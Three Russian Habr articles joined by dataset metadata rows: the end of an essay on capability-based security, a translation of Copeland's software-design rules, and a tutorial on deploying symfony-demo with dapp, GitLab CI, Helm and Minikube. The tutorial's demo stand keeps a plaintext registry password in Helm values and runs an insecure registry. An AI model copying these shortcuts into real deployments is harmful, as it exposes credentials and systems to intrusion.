Прокси-объекты могут использоваться не только для ограничения доступа по времени, но и по другим параметрам — можно предоставить доступ только к куску файла или, имея доступ на чтение-запись, создать прокси-объект, который разрешает доступ только на чтение. Подобным образом можно настраивать права доступа, специфичные для предметной области — можно разрешить оставлять комментарии в документе, но запретить менять содержимое самого документа. В традиционных системах эти операции разделить невозможно — на уровне ОС они обе выглядят как модификация бинарного файла.
Прокси-объекты могут применяться рекурсивно: один объект делегирует часть своих прав другому, второй — третьему и т.д. На каждом шаге передается только часть прав, а остальные отсекаются с помощью прокси-объектов. С каждой связью объем доступных привилегий становится все меньше и меньше. Это называется *затуханием* (англ. attenuation) прав доступа.
Защищенность от подделки
------------------------
Мандатная ссылка обязана обладать важным свойством – защищенностью от подделки. Должно быть невозможным «угадать» мандатную ссылку, которая не была предоставлена в соответствии с вышеприведенными правилами.
Для дескрипторов это свойство неверно в рамках одного процесса: зная принцип формирования кодов дескрипторов можно за приемлемое время сформировать правильный дескриптор. Т.е. плагин, загруженный в процесс хоста, может получить доступ к данным, которые через интерфейс взаимодействия хоста с плагином никак не могли к нему попасть.
Для файловых путей это свойство не выполняется в принципе – достаточно написать в коде “C:\Windows\system32\drivers\etc\hosts” – и вот, у нас уже есть ссылка на важный системный файл.
Как же защитить мандатные ссылки от подделок? Для обеспечения этого ~~есть~~ мне известно четыре основных подхода:
1. **Мандатные ссылки как дескрипторы** — Cубъектами являются процессы. Вся работа с мандатными ссылками осуществляется через функции ОС. Для каждого процесса ОС хранит список мандатных ссылок, которые доступны ему на данный момент. Процесс может выполнить операцию над мандатной ссылкой только, если эта ссылка присутствует в соответствующем списке.
2. **Криптографические средства** – этот подход не дает абсолютной гарантии, что подделать ссылку будет невозможно, а вместо этого обеспечивает необходимую минимальную сложность подделки. Программа предоставляет зашифрованную мандатную ссылку функциям ОС, которые проверяют ее корректность и расшифровывают перед использованием. Из-за высоких накладных расходов на шифровку/расшифровку мандатных ссылок этот метод не используется для реализации безопасности в пределах одной машины, но используется в [сетевых системах](https://tahoe-lafs.org/trac/tahoe-lafs).
3. **Мандатные ссылки с паролями (англ. password-capabilities)** – гибрид предыдущих двух методов (подробнее [тут](http://c2.com/cgi/wiki?PasswordCapabilityModel) и [тут](http://dl.acm.org/citation.cfm?id=545609)). Мандатная ссылка состоит из идентификационной информации и пароля. Пароль представляет из себя случайную последовательность битов, сгенерированную системой. Вероятность угадать пароль составляет 2-k, где k – это длина пароля. Система хранит словарь, ассоциирующий пароль с идентификационной информацией. Мандатная ссылка считается корректной, если пароль в мандатной ссылке соответствует паролю в словаре.
4. **Защита на уровне системы команд/языка** – система команд целевой машины вообще не содержит команд, позволяющих интерпретировать произвольную последовательность битов как мандатную ссылку, либо такие команды являются привилегированными и доступны только ядру. При этом целевая машина может быть как реальным устройством ([Plessey System 250](http://en.wikipedia.org/wiki/System_250), [IBM System/38](http://en.wikipedia.org/wiki/System/38), RSRE FLEX Computer System), так и виртуальной машиной (проект [J-Kernel](http://www.cs.cornell.edu/slk/jkernel.html) реализован на основе JVM)
Сериализация
------------
Для практической применимости система, реализующая безопасность на основе мандатных ссылок, должна поддерживать сериализацию последних, а это весьма нетривиальная задача. Система должна гарантировать, что сериализированный образ мандатной ссылки не был подделан, что ресурс, на который указывает ссылка, по-прежнему существует, что процесс, выполняющий десериализацию, действительно является возрождением того процесса, который выполнил сериализацию.
Как отличное решение всех этих проблем зарекомендовал себя механизм [*прозрачной* или *ортогональной персистентности*](http://c2.com/cgi/wiki?TransparentPersistence): операционная система берет всю заботу о сохранении и восстановлении состояния на себя, а приложения работают с абстрактной персистентной одноуровневой памятью. Время от времени операционная система сохраняет на диск полный снимок состояния всех процессов, а при загрузке – загружает в память последнюю удачно сохраненную версию. Программы при этом прямого доступа к диску не имеют и программно подделать сериализированный образ на диске не могут.
Заточение
---------
Допустим, что Алиса хочет использовать программу, созданную Бобом, для обработки своих данных. Боб хочет чтобы никто другой не имел доступа к внутренностям его программы. Кроме того, Боб может захотеть параметризовать свою программу данными. Это повод предоставить Алисе программу не в виде массива байтов с исполняемым кодом, а в виде объекта. Но Алиса хочет быть уверенной, что эта программа не передаст ее конфиденциальные данные посторонним. А объекты могут хранить ссылки на другие объекты или иметь изменяемое состояние, которое могут прочитать другие объекты, т.e. использование объектов в данном случае представляет опасность для безопасности Алисы.
Наложение ограничений на объект, передаваемый Алисе, которые сделают этот объект безопасным для использования Алисой в данном сценарии, называется *заточением* объекта (англ. confinement).
Существует [запатентованное решение](http://www.erights.org/elib/capability/factory.html), позволяющее добиться заточения в рамках описанной выше модели. Однако, как отмечают сами авторы этого решения, более элегантным и простым решением будет введение атрибута транзитивной константности, корректность которого должна обеспечивать система. Это гарантирует, что программе будет просто некуда записать конфиденциальные данные Алисы. В этом случае, если Алисе нужен объект с изменяемым состоянием, то переданный ей объект должен проектироваться как фабрика, создающая новые объекты из данных, содержащихся в самой фабрике, и данных, предоставленных Алисой.
Заключение
----------
Модель безопасности на основе мандатных ссылок позволяет безопасно взаимодействовать взаимно подозрительным компонентам. Модель позволяет смело запускать на своей машине прозвольный код из неизвестного источника, не опасаясь за последствия — для традиционных систем это немыслимо. Моделью может пользоваться любой компонент системы, с любыми привилегиями, в то время как в традиционных системах для создания новых пользователей и групп требуются административные привилегии.
На мой взгляд, безопасность на основе мандатных ссылок наиболее удобно и элегантно реализуется вместе с ООП, безопасностью на основе языка и ортогональной персистентностью. Я верю, что платформа, реализующая все эти концепции, напишет следующую главу в эволюции ОС. Но пока что безопасность на основе мандатных ссылок остается уделом экспериментальных ОС. Надеюсь, мне удалось заинтересовать читателя идеей мандатных ссылок и тем самым немного приблизить тот день, когда подобный проект станет массовой ОС.
Ссылки:
-------
1. [Marc Stiegler et al. Introduction To Capability Based Security](http://www.skyhunter.com/marcs/capabilityIntro/index.html)
2. [J-Kernel](http://www.cs.cornell.edu/slk/jkernel.html)
3. [Mark S. Miller et al. Capability Myths Demolished [PDF]](http://srl.cs.jhu.edu/pubs/SRL2003-02.pdf)
4. [Н. А. Олифер, В. Г. Олифер. Сетевые операционные системы. Глава 6. Микроядро Mach](http://citforum.ru/operating_systems/sos/glava_23.shtml)
5. [Tahoe-LAFS wiki](https://tahoe-lafs.org/trac/tahoe-lafs)
6. [Cunningham & Cunningham, Inc. wiki. Password Capability Model](http://c2.com/cgi/wiki?PasswordCapabilityModel)
7. [Ronald Pose. Password-capabilities: their evolution from the password-capability system into walnut and beyond](http://dl.acm.org/citation.cfm?id=545609)
8. [Norm Hardy. The Confused Deputy (or why capabilities might have been invented)](http://www.cap-lore.com/CapTheory/ConfusedDeputy.html)
9. [Mark S. Miller. The KeyKOS Factory](http://www.erights.org/elib/capability/factory.html) | https://habr.com/ru/post/148743/ | null | ru | null |
# Улучшенные четыре правила проектирования ПО
Привет, Хабр! Представляю вашему вниманию статью "Four Better Rules for Software Design" автора David Bryant Copeland. David Bryant Copeland — архитектор ПО и технический директор Stitch Fix. Он ведет [свой блог](https://naildrivin5.com/) и является [автором нескольких книг](https://naildrivin5.com/bio/index.html).
Мартин Фаулер недавно создал твит с ссылкой на его [пост в блоге](https://martinfowler.com/bliki/BeckDesignRules.html) о четырех правилах простого дизайна от Кента Бека, которые, как я думаю, могут быть еще улучшены (и которые иногда могут отправить программиста по ложному пути):
Правила Кента из книги [Extreme Programming Explained](https://www.amazon.com/gp/product/0201616416):
* Кент говорит: "Запускайте все тесты".
* Не дублируйте логику. Старайтесь избегать скрытых дубликатов, таких как параллельные иерархии классов.
* Все намерения, важные для программиста, должны быть явно видны.
* Код должен иметь наименьшее возможное количество классов и методов.
Согласно моему опыту, эти правила не совсем соответствуют нуждам проектирования ПО. Мои четыре правила хорошо спроектированной системы могли бы быть такими:
* она хорошо покрыта тестами и успешно проходит их.
* она не имеет абстракций, которые напрямую не нужны программе.
* она имеет однозначное поведение.
* она требует наименьшее количество концепций.
Для меня эти правила вытекают из того, что мы делаем с нашим ПО.
Так что же мы *делаем* с нашим ПО?
==================================
Мы не можем говорить о проектировании ПО, не поговорив прежде о том, что мы намереваемся делать с ним.
ПО пишется для решения проблемы. Программа выполняется и имеет поведение. Это поведение изучается, чтобы обеспечить правильность работы или обнаружить ошибки. ПО также часто изменяется для придания ему нового или измененного поведения.
Поэтому любой подход к проектированию ПО должен быть сфокусирован на предсказании, изучении и понимании его поведения, чтобы сделать изменение этого поведения как можно проще.
Мы проверяем правильность поведения путем тестирования, и поэтому я согласен с Кентом, что первое и самое главное — хорошо спроектированное ПО должно проходить тесты. Я даже пойду дальше и настою на том, что ПО должно иметь тесты (т. е. быть хорошо покрыто тестами).
После того, как поведение было проверено, следующие три пункта обоих списков касаются понимания нашего ПО (и, следовательно, его поведения). Его список начинается с дублирования кода, которое действительно находится на своем месте. Однако по моему личному опыту, слишком сильный фокус на уменьшение дублирования кода имеет высокую цену. Для его устранения необходимо создать скрывающие его абстракции, и именно эти абстракции делают ПО сложным для понимания и изменения.
Устранение дублирования кода требует абстракций, а абстракции приводят к сложности
==================================================================================
"Don't Repeat Yourself" или DRY используется для оправдания спорных решений дизайна. Вы когда-нибудь видели подобный код?
```
ZERO = BigDecimal.new(0)
```
Кроме того вы, наверное, видели что-то подобное:
```
public void call(Map payload, boolean async, int errorStrategy) {
// ...
}
```
Если вы видите методы или функции с флагами, boolean и т. д., то это, как правило, значит, что кто-то использовал принцип DRY при рефакторинге, но код не был *точно* таким же в обоих местах, поэтому полученный код должен был быть достаточно гибким, чтобы вмещать оба поведения.
Такие обобщенные абстракции сложны для тестирования и понимания, так как они должны обрабатывать намного больше случаев, чем оригинальный (возможно, дублирующийся) код. Иными словами, абстракции поддерживают намного больше поведений, чем нужно для нормального функционирования системы. Таким образом, устранение дублирования кода может породить новое поведение, которое не требуется системе.
Поэтому *действительно важно* объединять некоторые типы поведения, однако бывает сложно понять, какое поведение действительно дублируется. Часто куски кода выглядят похоже, но это происходит только по случайности.
Подумайте, насколько проще устранить дублирование кода, чем повторно вернуть его (например, после создания плохо продуманной абстракции). Поэтому нам нужно задуматься об оставлении дублирующегося кода, если только мы не абсолютно уверены, что у нас есть лучший способ избавиться от него.
Создание абстракций должно заставить нас задуматься. Если в процессе устранения дублирующегося кода вы создаете очень гибкую обобщенную абстракцию, то, возможно, вы пошли по неверному пути.
Это приводит нас к следующему пункту — намерение против поведения.
Намерение программиста бессмысленно — поведение значит все
==========================================================
Мы часто хвалим языки программирования, конструкции или куски кода за то, что они "раскрывают намерения программиста". Но какой смысл знать намерения, если вы не можете предсказать поведение? И если вы знаете поведение, насколько много значит намерение? Получается, вам *надо* знать, как ПО *должно* себя вести, но это не то же самое, что и "намерения программиста".
Давайте рассмотрим этот пример, который очень хорошо отражает намерения программиста, но не ведет себя так, как задумывалось:
```
function LastModified(props) {
return (
Last modified on
{ props.date.toLocaleDateString() }
);
}
```
Очевидно, программист планировал, что этот компонент React будет отображать дату с сообщением "Last modified on". Работает ли это как было задумано? Не совсем. Что, если this.prop.date не имеет значения? Все просто ломается. Мы не знаем, было ли так задумано, или кто-то просто забыл об этом, и это даже не имеет значения. Имеет значение то, какое это имеет поведение.
И именно это мы должны знать, если захотим менять эту часть кода. Представьте, что нам нужно изменить строку на "Last modification". Хотя мы и можем сделать это, неясно, что должно произойти, если date отсутствует. Будет лучше, если вместо этого мы напишем компонент так, чтобы сделать его поведение более понятным.
```
function LastModified(props) {
if (!props.date) {
throw "LastModified requires a date to be passed";
}
return (
Last modified on
{ props.date.toLocaleDateString() }
);
}
```
Или даже так:
```
function LastModified(props) {
if (props.date) {
return (
Last modified on
{ props.date.toLocaleDateString() }
);
}
else {
return Never modified;
}
}
```
В обоих случаях поведение более понятное, а намерения программиста не имеют значения. Допустим, мы выбрали вторую альтернативу (которая обрабатывает отсутствующее значение date). Когда нас попросят изменить сообщение, мы можем видеть поведение и проверить, корректно ли сообщение "Never modified" или оно тоже нуждается в изменении.
Таким образом, чем более однозначно *поведение*, тем больше у нас шансов успешно изменить его. А это значит, что нам может понадобиться написать больше кода или делать его более точным, или даже иногда писать дублирующийся код.
Также это значит, что нам понадобится больше классов, функций, методов и т. д. Конечно, *хотелось бы* сохранить их число минимальным, но мы не должны использовать это число как нашу метрику. Создание большого количества классов или методов создает *концептуальные расходы (conceptual overhead)*, и в ПО появляется больше концепций, чем единиц модульности. Поэтому нам нужно уменьшать число концепций, что, в свою очередь, может привести к уменьшению числа классов.
Концептуальные расходы способствуют запутанности и усложнению
=============================================================
Чтобы понять, что в действительности будет делать код, вам надо знать не только предметную область, но и все использованные в этом коде концепции (например, при поиске среднеквадратического отклонения вы должны знать операции присваивания, сложения, умножения, циклы for и длину массива). Это объясняет, почему при увеличении числа концепций в дизайне увеличивается его сложность для понимания.
[Раньше](http://naildrivin5.com/blog/2018/02/02/explicit-code-is-inclusive.html) я уже писал о [концептуальных расходах](https://naildrivin5.com/blog/2019/06/29/simple-expressions-only.html), и хороший побочный эффект уменьшения числа концепций в системе заключается в том, что больше людей смогут понять эту систему. В свою очередь это увеличивает число людей, которые могут вносить изменения в эту систему. Определенно, дизайн ПО, который безопасно может быть изменен множеством людей, лучше, чем тот, который может быть изменен только небольшой кучкой. (Поэтому я считаю, что хардкорное функциональное программирование никогда не станет популярным, так как оно требует глубокого понимания множества очень абстрактных концепций.)
Уменьшение концептуальных расходов приведет к естественному снижению числа абстракций *и* сделает поведение проще для понимания. Я не говорю "никогда не вводите новую концепцию", я говорю, что у этого есть своя цена, и если эта цена перевешивает пользу, введение новой концепции должно быть тщательно обдумано.
Когда мы пишем код или проектируем ПО, мы должны перестать думать об *элегантности*, *красоте* или другой субъективной мере нашего кода. Вместо этого мы всегда должны помнить, что мы собираемся делать с ПО.
Вы не вешаете код на стену — вы меняете его
===========================================
Код — это не произведение искусства, которое вы можете распечатать и повесить в музее. Код выполняется. Он изучается и отлаживается. И, самое главное, он *изменяется*. Причем часто. Любой дизайн, с которым сложно работать, должен быть поставлен под вопрос и пересмотрен. Любой дизайн, который уменьшает число людей, которые могут работать с ним, *также* должен быть поставлен под вопрос.
Код должен работать, поэтому он должен быть протестирован. Код имеет баги и потребует добавления новых фич, поэтому мы должны понимать его поведение. Код живет дольше, чем возможность конкретного программиста поддерживать его, поэтому мы должны стремиться к коду, понятному широкому кругу лиц.
Когда вы пишете свой код или проектируете вашу систему, упрощаете ли вы объяснение поведения системы? Становится ли проще понять, как она себя поведет? Сфокусированы ли вы на решении проблемы прямо перед вами или на более абстрактной?
Всегда старайтесь оставлять поведение простым для демонстрации, предсказания и понимания, и сводите число концепций к абсолютному минимуму. | https://habr.com/ru/post/461823/ | null | ru | null |
# Сборка и дeплой приложений в Kubernetes с помощью dapp и GitLab CI
В предыдущих статьях о **dapp** было рассказано про сборку приложений и про запуск в Minikube. При этом dapp запускался локально на машине разработчика. Однако инструмент задумывался для поддержки процессов непрерывной интеграции (CI) и сами мы используем его в основном в связке с GitLab. Чем dapp помогает в процессах CI/CD?
Во-первых, конечно же, это сборка. Dapp позволяет ускорить инкрементальную сборку приложений, привязывая команды сборки к изменениям между коммитами в Git-репозитории (подробнее об этом и других оптимизациях на этапе сборки см. в докладе «Собираем Docker-образы для CI/CD быстро и удобно вместе с dapp»: [статья](https://habrahabr.ru/company/flant/blog/324274/), [видео](https://youtu.be/8R5UDg29Vic?t=12m45s)).
Во-вторых, dapp помогает выкатывать приложение в кластер Kubernetes с помощью Helm. Помимо некоторого упрощения работы с секретами и проверки Helm-шаблонов, dapp помогает ожиданию выката `Deployments`, указанных в шаблонах.
В-третьих, в dapp реализована логика очистки кэша как в локальном, так и в удалённом Registry с Docker-образами. Очистка была улучшена в последних версиях: теперь dapp удаляет образы, созданные по веткам Git, если эти ветки удалены из Git-репозитория. С образами по тегам немного сложнее: остаётся не более 10 образов не старше 30 дней. В следующих версиях планируется сделать настраиваемые политики очистки.
Всё перечисленное критично в большей степени для сервера сборки, поэтому далее с помощью несложного стенда GitLab + Minikube покажу пример внедрения dapp в процессы непрерывной интеграции и доставки (CI/CD).
**Обновлено 13 августа 2019 г.:** в настоящее время проект dapp переименован в **[werf](https://werf.io)**, его код переписан на Go, а документация значительно улучшена.
Стенд GitLab + Minikube + dapp
------------------------------
Стенд состоит из установленного GitLab, GitLab Runner, Registry и кластера Kubernetes:
Схема приближена к варианту, который используется нами в реальных проектах. Вкратце всё работает так:
1. Разработчик push'ит свои изменения в Git-репозиторий.
2. GitLab запускает задачу сборки, GitLab Runner запускает dapp, который собирает образ и push'ит образ в Registry.
3. Чтобы выкатить приложение в кластер, запускается задача деплоя: GitLab Runner (с доступом к kubectl и Helm) выполняет `dapp kube deploy`.
4. Кластер Kubernetes при получении обновлённых ресурсов проверяет, есть ли новый образ в Registry, скачивает его и запускает поды с новым образом.
Стенд — демонстрационный, поэтому, чтобы не плодить виртуальные машины, вместе с GitLab нужно установить Registry, GitLab Runner, dapp, Docker, kubectl и Helm. В качестве Kubernetes-кластера используется Minikube как самый простой способ запустить K8s на локальной машине.
В качестве приложения опять используется [symfony-demo](https://github.com/symfony/symfony-demo). Сборка этого проекта в локальном варианте была описана в статье «[Практика с dapp. Часть 1: Сборка простых приложений](https://habrahabr.ru/company/flant/blog/336212/)», а пример выката приложения в Minikube был описан в статье «[Практика с dapp. Часть 2. Деплой Docker-образов в Kubernetes с помощью Helm](https://habrahabr.ru/company/flant/blog/336170/)». Отличие от второй статьи будет в том, что Registry для Minikube становится внешним (расположен в виртуальной машине с GitLab) и команда `dapp kube minikube setup` не требуется.
Подготовка хост-системы
-----------------------
Перед созданием виртуальных машин лучше заранее добавить имена хостов, например, в `/etc/hosts`:
`192.168.33.20 gitlab.example.com # доступ к интерфейсу gitlab
192.168.33.20 registry.gitlab.example.com # доступ к registry
192.168.33.100 cluster.example.com # доступ к приложению и к api k8s`
GitLab в виртуальной машине
---------------------------
Установка GitLab с помощью готового `Vagrantfile` (<https://github.com/rgl/gitlab-vagrant>) была упомянута во [второй части «Практики с dapp»](https://habrahabr.ru/company/flant/blog/336170/), но теперь опишу подробнее. Чтобы запустить виртуальную машину, понадобится отредактировать `Vagrantfile`, сменить базовый образ на `xenial64` и увеличить память с 2048 до 4096.
После `vagrant up` нужно установить GitLab Runner по [инструкции проекта](https://docs.gitlab.com/runner/install/linux-manually.html). Также потребуется инсталляция Docker и dapp. И для деплоя — скачать бинарники kubectl и Helm.
Чтобы запустить Registry, нужно отредактировать `/etc/gitlab/gitlab.rb`, раскомментировав там строчки:
```
gitlab_rails['registry_enabled'] = true
gitlab_rails['registry_host'] = "registry.gitlab.example.com"
gitlab_rails['registry_port'] = "5000"
gitlab_rails['registry_path'] = "/var/opt/gitlab/gitlab-rails/shared/registry"
gitlab_rails['registry_api_url'] = "http://localhost:5000"
gitlab_rails['registry_key_path'] = "/var/opt/gitlab/gitlab-rails/certificate.key"
gitlab_rails['registry_issuer'] = "omnibus-gitlab-issuer"
registry['registry_http_addr'] = "0.0.0.0:5000"
```
После сохранения — запустить `gitlab-ctl reconfigure`. Omnibus изменит конфигурацию и перезапустит GitLab.
Всё вышеперечисленное уже есть в форке [gitlab-vagrant](https://github.com/flant/gitlab-vagrant) — достаточно его склонировать и выполнить `vagrant up`.
Minikube
--------
Время запустить и настроить Minikube. [Инструкция](https://github.com/kubernetes/minikube/blob/v0.24.1/README.md#installation) довольно проста: скачать бинарник проекта и вызвать команду:
```
minikube start --insecure-registry registry.gitlab.example.com:5000 --host-only-cidr 192.168.33.1/24
```
К сожалению, для работы в составе стенда придётся остановить кластер (`minikube stop`) и вручную отредактировать `~/.minikube/machines/minikube/config.json`, включив `HostDNSResolver`, чтобы виртуальная машина воспринимала `/etc/hosts` хоста. Также, если Minikube был установлен после прочтения [второй части](https://habrahabr.ru/company/flant/blog/336170/), проверьте ключ `InsecureRegistry`.
```
{
"Driver": {
…
"HostDNSResolver": true,
…
“HostOptions”: {
"EngineOptions": {
"InsecureRegistry": [
"registry.gitlab.example.com:5000"
],
…
```
Чтобы проверить доступность кластера после запуска `minikube start`, можно выполнить команду `kubectl get all`.
Настройка GitLab Runner
-----------------------
Кластер запущен — нужно настроить связь с кластером для gitlab-runner. Для этого в виртуальную машину копируется локальный конфиг из `.kube` и сертификаты для доступа к Kubernetes API:
```
$ cd ~
$ tar zcf kube-config.tar.gz .kube/config .minikube/ca.crt .minikube/apiserver.*
$ cp kube-config.tar.gz $GITLAB_VM_DIR
$ cd $GITLAB_VM_DIR
$ vagrant ssh
ubuntu@gitlab:~$ sudo su - gitlab-runner
gitlab-runner@gitlab:~$ tar zxf /vagrant/kube-config.tar.gz
```
Следующий шаг — отредактировать `.kube/config`, чтобы был правильный путь к файлам:
* certificate-authority: `/home/`**gitlab-runner**`/.minikube/ca.crt`
* client-certificate: `/home/`**gitlab-runner**`/.minikube/apiserver.crt`
* client-key: `/home/`**gitlab-runner**`/.minikube/apiserver.key`
Далее можно проверить связь и настроить Helm:
```
gitlab-runner@gitlab:~$ kubectl get all
```
Если Minikube уже был установлен ранее по [второй части](https://habrahabr.ru/company/flant/blog/336170/), то tiller уже есть и достаточно команды:
```
gitlab-runner@gitlab:~$ helm init --client-only
```
Если minikube не был ранее установлен, то нужно, чтобы установился tiller:
```
gitlab-runner@gitlab:~$ helm init
```
Для dapp необходимо добавить plugin `template`:
```
gitlab-runner@gitlab:~$ helm plugin install https://github.com/technosophos/helm-template
```
Импорт проекта и pipeline
-------------------------
Теперь можно импортировать репозиторий symfony-demo в GitLab. В списке проектов нажать *New Project*, выбрать *Import*, затем *Repo by URL*, ввести URL, группу и имя нового проекта.
В проекте уже есть ветка с `Dappfile` и шаблонами в `.helm`, созданными при работе над предыдущими статьями, — `dapp_deploy_minikube`.
Для демонстрации работы CI/CD нужно добавить конфигурацию CI — `.gitlab-ci.yml`. Это будет простой pipeline из двух заданий:
### Задание Build
```
Build:
stage: build
script:
- dapp --version
- dapp dimg build --build-dir ~/dapp_build/${CI_PROJECT_NAME}
- dapp dimg push --build-dir ~/dapp_build/${CI_PROJECT_NAME} ${CI_REGISTRY_IMAGE} --tag-ci
tags:
- build
```
Задание 3 раза запускает dapp. Первый раз — информативный, чтобы видеть версию dapp. Второй запуск — сборка образов, описанных в `Dappfile`. Третий — push собранных образов в Registry, при этом теги образам будут проставлены на основании переменных `CI_*` (**Обновлено 13 августа 2019 г.:** [документация по опциям тегирования werf](https://werf.io/documentation/reference/plugging_into_cicd/overview.html)).
### Задание Deploy
```
Deploy:
stage: deploy
script:
- dapp --version
- dapp kube deploy
--tag-ci
--namespace ${CI_PROJECT_NAME}-stage
--set "global.env=stage"
--set "global.git_rev=${CI_COMMIT_SHA}"
$CI_REGISTRY_IMAGE
tags:
- build
```
Здесь тоже первым запуском выводится версия dapp. Второй запуск — выкат приложения в кластер.
Можно заметить, что в пространстве имён используется суффикс `stage` — это сделано, чтобы показать, что имя namespace можно задать любое. В полноценном варианте pipeline потребуется создать несколько заданий для нужных окружений.
Helm-шаблоны
------------
Registry, установленный в GitLab, в отличие от Registry, устанавливаемого командой `dapp kube minukube setup`, имеет разграничение прав и поэтому в Helm-шаблоны нужно добавить `registrysecret` с логином и паролем для Registry. Можно сформировать секрет вручную с помощью команды `base64`, а можно воспользоваться [подсказкой](https://github.com/kubernetes/helm/blob/master/docs/charts_tips_and_tricks.md#creating-image-pull-secrets).
В итоге, в `.helm/values.yaml` добавятся такие значения:
```
imageCredentials:
registry: registry.gitlab.example.com:5000
username: root
password: password
```
А в `backend.yaml` — такой ресурс:
```
apiVersion: v1
kind: Secret
type: kubernetes.io/dockercfg
metadata:
name: registrysecret
data:
.dockercfg: {{ printf "{\"%s\": {\"auth\": \"%s\"}}" .Values.imageCredentials.registry (printf "%s:%s" .Values.imageCredentials.username .Values.imageCredentials.password | b64enc) | b64enc }}
```
… и `imagePullSecrets` в spec шаблонов контейнеров:
```
spec:
template:
...
spec:
imagePullSecrets:
- name: registrysecret
containers:
- command: [ '/demo/start.sh' ]
image: {{ tuple "symfony-demo-app" . | include "dimg" }}
```
Выкат по таким Helm-шаблонам уже должен быть успешен — результат можно наблюдать в браузере по адресу `http://cluster.example.com/symfony-demo`:
Резюмируя
---------
В целом можно считать, что развёрнут стенд с процессом CI/CD, очень приближенным к тому, что работает у наших клиентов. Следующими шагами будет усложнение pipeline (см. «[GitLab CI для непрерывной интеграции и доставки в production. Часть 1: наш пайплайн](https://habrahabr.ru/company/flant/blog/332712/)» и «[Часть 2: преодолевая трудности](https://habrahabr.ru/company/flant/blog/332842/)»), введение динамических окружений ([обзорная статья коллеги](https://habrahabr.ru/company/flant/blog/345116/)), добавление очистки Registry по расписанию, добавление запуска интеграционных тестов. Вопросы про описанный стенд и про dapp можно задать в комментариях и в нашем [Telegram-чате](https://t.me/werf_ru).
P.S.
----
Читайте также в нашем блоге:
* «[werf — наш инструмент для CI/CD в Kubernetes (обзор и видео доклада)](https://habr.com/ru/company/flant/blog/460351/)» *(Дмитрий Столяров; 27 мая 2019 на DevOpsConf)*;
* «[Практика с dapp. Часть 1: Сборка простых приложений](https://habrahabr.ru/company/flant/blog/336212/)»;
* «[Практика с dapp. Часть 2. Деплой Docker-образов в Kubernetes с помощью Helm](https://habrahabr.ru/company/flant/blog/336170/)»;
* «[Лучшие практики CI/CD с Kubernetes и GitLab (обзор и видео доклада)](https://habrahabr.ru/company/flant/blog/345116/)»;
* «[Инфраструктура с Kubernetes как доступная услуга](https://habrahabr.ru/company/flant/blog/341760/)». | https://habr.com/ru/post/345580/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.